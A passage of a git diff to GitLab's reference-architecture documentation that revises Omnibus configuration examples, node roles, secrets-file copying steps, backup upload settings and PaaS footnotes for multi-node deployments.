- 'address' => 'tcp://10.6.0.91:8075',
- 'token' => '<praefect_internal_token>',
- 'primary' => true
- },
- 'gitaly-2' => {
- 'address' => 'tcp://10.6.0.92:8075',
- 'token' => '<praefect_internal_token>'
- },
- 'gitaly-3' => {
- 'address' => 'tcp://10.6.0.93:8075',
- 'token' => '<praefect_internal_token>'
- },
+ 'nodes' => {
+ 'gitaly-1' => {
+ 'address' => 'tcp://10.6.0.91:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-2' => {
+ 'address' => 'tcp://10.6.0.92:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-3' => {
+ 'address' => 'tcp://10.6.0.93:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ }
}
}
@@ -1614,11 +1617,25 @@ To configure the Praefect nodes, on each one:
# END user configuration
```
- 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. Praefect requires to run some database migrations, much like the main GitLab application. For this
+ you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
+ must be configured first before the others as follows:
+
+ 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
+
+ 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
- 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
+ to run the Praefect database migrations.
+
+1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### Configure Gitaly
@@ -1662,21 +1679,17 @@ On each node:
storage paths, enable the network listener, and to configure the token:
```ruby
- # /etc/gitlab/gitlab.rb
-
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1684,9 +1697,11 @@ On each node:
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
+ # Gitaly
+ gitaly['enable'] = true
+
# Make Gitaly accept connections on all network interfaces. You must use
# firewalls to restrict access to this address/port.
# Comment out following line if you only want to support TLS connections
@@ -1728,9 +1743,8 @@ On each node:
})
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1837,28 +1851,19 @@ To configure the Sidekiq nodes, on each one:
1. Open `/etc/gitlab/gitlab.rb` with your editor:
```ruby
- ########################################
- ##### Services Disabled ###
- ########################################
-
- nginx['enable'] = false
- grafana['enable'] = false
- prometheus['enable'] = false
- alertmanager['enable'] = false
+ # Avoid running unnecessary services on the Sidekiq server
gitaly['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = false
- puma['enable'] = false
- postgres_exporter['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- redis_exporter['enable'] = false
+ puma['enable'] = false
+ gitlab_workhorse['enable'] = false
+ prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
gitlab_exporter['enable'] = false
+ nginx['enable'] = false
- ########################################
- #### Redis ###
- ########################################
-
+ # Redis
## Redis connection details
## First cluster that will host the cache
gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache'
@@ -1890,13 +1895,10 @@ To configure the Sidekiq nodes, on each one:
{host: '10.6.0.83', port: 26379},
]
- #######################################
- ### Gitaly ###
- #######################################
-
- # git_data_dirs get configured for the Praefect virtual storage
- # Address is Internal Load Balancer for Praefect
- # Token is praefect_external_token
+ # Gitaly Cluster
+ ## git_data_dirs get configured for the Praefect virtual storage
+ ## Address is Internal Load Balancer for Praefect
+ ## Token is praefect_external_token
git_data_dirs({
"default" => {
"gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP
@@ -1904,20 +1906,17 @@ To configure the Sidekiq nodes, on each one:
}
})
- #######################################
- ### Postgres ###
- #######################################
+ # PostgreSQL
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
- # Prevent database migrations from running on upgrade automatically
+ ## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
- #######################################
- ### Sidekiq configuration ###
- #######################################
+ # Sidekiq
+ sidekiq['enable'] = true
sidekiq['listen_address'] = "0.0.0.0"
# Set number of Sidekiq queue processes to the same number as available CPUs
@@ -1926,9 +1925,7 @@ To configure the Sidekiq nodes, on each one:
# Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- #######################################
- ### Monitoring configuration ###
- #######################################
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -1936,16 +1933,13 @@ To configure the Sidekiq nodes, on each one:
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Set the network addresses that the exporters will listen on
+ ## Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Rails Status for prometheus
+ ## Add the monitoring node's IP address to the monitoring whitelist
gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8']
- #############################
- ### Object storage ###
- #############################
-
+ # Object Storage
# This is an example for configuring Object Storage on GCP
# Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
@@ -1960,11 +1954,26 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
+ ```
+
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -1997,9 +2006,6 @@ On each node perform the following:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration.
To maintain uniformity of links across nodes, the `external_url`
@@ -2021,7 +2027,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
sidekiq['enable'] = false
@@ -2094,9 +2100,15 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the
`git_data_dirs` entry is configured with `tls` instead of `tcp`:
@@ -2115,6 +2127,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. If you're [using NFS](#configure-nfs-optional):
1. If necessary, install the NFS client utility packages using the following
commands:
@@ -2154,7 +2180,7 @@ On each node perform the following:
registry['gid'] = 9002
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+ 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. Confirm the node can connect to Gitaly:
```shell
@@ -2218,52 +2244,30 @@ To configure the Monitoring node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- external_url 'http://gitlab.example.com'
+ roles(['monitoring_role', 'consul_role'])
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
+ external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
- grafana['enable'] = true
+ # Grafana
grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
+ # Nginx - For Grafana access
+ nginx['enable'] = true
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index 69e261cfbe6..7db3a343e0b 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -18,20 +18,24 @@ For a full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|------------------------------------------|--------|-------------------------|-----------------|--------------|----------|
-| Load balancer | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 1 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
-| Redis** | 1 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `m5.large` | `D2s v3` |
+| Load balancer(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 1 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
+| Redis(2) | 1 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `m5.large` | `D2s v3` |
| Gitaly | 1 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
| GitLab Rails | 2 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run as reputable third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run as reputable third party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 2k
@@ -84,7 +88,7 @@ To set up GitLab and its components to accommodate up to 2,000 users:
1. [Configure Gitaly](#configure-gitaly), which provides access to the Git
repositories.
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -265,10 +269,8 @@ further configuration steps.
database. Example: `%w(123.123.123.123/32 123.123.123.234/32)`
```ruby
- # Disable all components except PostgreSQL
- roles ['postgres_role']
- patroni['enable'] = false
- consul['enable'] = false
+ # Disable all components except PostgreSQL related ones
+ roles(['postgres_role'])
prometheus['enable'] = false
alertmanager['enable'] = false
pgbouncer_exporter['enable'] = false
@@ -295,6 +297,9 @@ further configuration steps.
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Note the PostgreSQL node's IP address or hostname, port, and
plain text password. These will be necessary when configuring the [GitLab
@@ -346,20 +351,18 @@ Omnibus:
```ruby
## Enable Redis
redis['enable'] = true
-
- ## Disable all other services
+
+ # Avoid running unnecessary services on the Redis server
+ gitaly['enable'] = false
+ postgresql['enable'] = false
+ puma['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- postgresql['enable'] = false
- nginx['enable'] = false
prometheus['enable'] = false
alertmanager['enable'] = false
- pgbouncer_exporter['enable'] = false
- gitlab_exporter['enable'] = false
- gitaly['enable'] = false
grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
redis['bind'] = '0.0.0.0'
redis['port'] = 6379
@@ -376,7 +379,11 @@ Omnibus:
}
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Note the Redis node's IP address or hostname, port, and
Redis password. These will be necessary when [configuring the GitLab
application servers](#configure-gitlab-rails) later.
@@ -455,16 +462,14 @@ To configure the Gitaly server, on the server node you want to use for Gitaly:
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -472,9 +477,11 @@ To configure the Gitaly server, on the server node you want to use for Gitaly:
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
+ # Gitaly
+ gitaly['enable'] = true
+
# Make Gitaly accept connections on all network interfaces. You must use
# firewalls to restrict access to this address/port.
# Comment out following line if you only want to support TLS connections
@@ -494,7 +501,11 @@ To configure the Gitaly server, on the server node you want to use for Gitaly:
})
```
-1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Confirm that Gitaly can perform callbacks to the internal API:
```shell
@@ -629,7 +640,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
@@ -658,10 +669,7 @@ On each node perform the following:
gitlab_rails['monitoring_whitelist'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8']
nginx['status']['options']['allow'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8']
- #############################
- ### Object storage ###
- #############################
-
+ # Object Storage
# This is an example for configuring Object Storage on GCP
# Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
@@ -677,6 +685,13 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
+
## Uncomment and edit the following options if you have set up NFS
##
## Prevent GitLab from starting if NFS data mounts are not available
@@ -710,7 +725,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly.
1. Tail the logs to see the requests:
@@ -718,11 +746,6 @@ On each node perform the following:
sudo gitlab-ctl tail gitaly
```
-1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two
- application nodes and install it on the other application node and the
- [Gitaly node](#configure-gitaly) and
- [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
When you specify `https` in the `external_url`, as in the previous example,
GitLab expects that the SSL certificates are in `/etc/gitlab/ssl/`. If the
certificates aren't present, NGINX will fail to start. For more information, see
@@ -765,38 +788,21 @@ running [Prometheus](../monitoring/prometheus/index.md) and
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
+ roles(['monitoring_role'])
+
external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
+ # Grafana
grafana['enable'] = true
- grafana['admin_password'] = 'toomanysecrets'
+ grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
+ # Nginx - For Grafana access
nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
-
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
```
1. Prometheus also needs some scrape configurations to pull all the data from the various
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index d81f98a35d4..bca5e4c3dab 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -27,26 +27,31 @@ For a full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|--------------------------------------------|-------------|-----------------------|-----------------|--------------|----------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Redis** | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
-| Consul* + Sentinel** | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Redis(2) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
+| Consul(1) + Sentinel(2) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Gitaly | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 3k
@@ -169,7 +174,7 @@ To set up GitLab and its components to accommodate up to 3,000 users:
provides access to the Git repositories.
1. [Configure Sidekiq](#configure-sidekiq).
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -470,8 +475,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -487,7 +492,6 @@ a node and change its status from primary to replica (and vice versa).
redis['password'] = 'redis-password-goes-here'
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -508,6 +512,9 @@ a node and change its status from primary to replica (and vice versa).
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
@@ -546,8 +553,8 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -570,7 +577,6 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
#redis['master_port'] = 6379
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -591,12 +597,15 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
